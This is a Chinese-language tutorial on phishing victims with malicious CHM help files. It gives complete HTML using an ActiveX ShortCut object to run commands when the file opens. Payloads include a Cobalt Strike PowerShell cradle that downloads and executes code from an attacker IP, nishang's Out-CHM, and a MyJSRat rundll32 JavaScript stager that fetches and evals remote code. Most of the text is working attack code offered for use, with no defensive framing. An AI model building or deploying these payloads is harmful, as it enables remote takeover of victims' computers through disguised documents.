通过恶意chm文件getshell

前言

chm是Compiled HTML Help file的缩写，意为已编译的HTML帮助文件，当攻击者将恶意代码写入chm中，当用户点击就会执行预设的恶意命令。

chm命令执行示例

下载安装html help workshop

使用html help workshop创建新项目，选择一个.hhp文件为目标

创建并添加恶意html文件（执行calc），内容如下

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<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',calc.exe'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

选择file-compile编译得到chm文件

运行chm文件，成功打开计算器

使用cs木马配合CHM getshell

攻击-钓鱼攻击-Scripted Web Delivery

生成powershell的payload

复制内容

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powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:90/a'))"

将其填充到html中替换calc，powershell.exe之后要多添加一个逗号，并将引号冲突重新解决一下

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<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring("http://xx.xx.xx.xx:90/a"))'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

编译生成chm，运行上线

使用nishang Out-Chm.ps1制作恶意chm文档

使用msf或cs开启powershell的web_delivery

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Import-Module .\Out-CHM.ps1

Out-CHM -PayloadURL http://xx.xx.xx.xx:90/ -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

通过CHM+JSRAT Getshell

https://github.com/Ridter/MyJSRat

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git clone https://github.com/Ridter/MyJSRat
cd MyJSRat
python MyJSRat.py -i xx.xx.xx.xx -p 8888

访问其开启web的 /wtf路径，可得到payload

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rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://xx.xx.xx.xx:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

使用该payload替换Item1中的value，在rundll32.exe之后加上逗号，处理好单双引号冲突

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<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://xx.xx.xx.xx:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

使用上文提到的方式生成chm文件，双击打开上线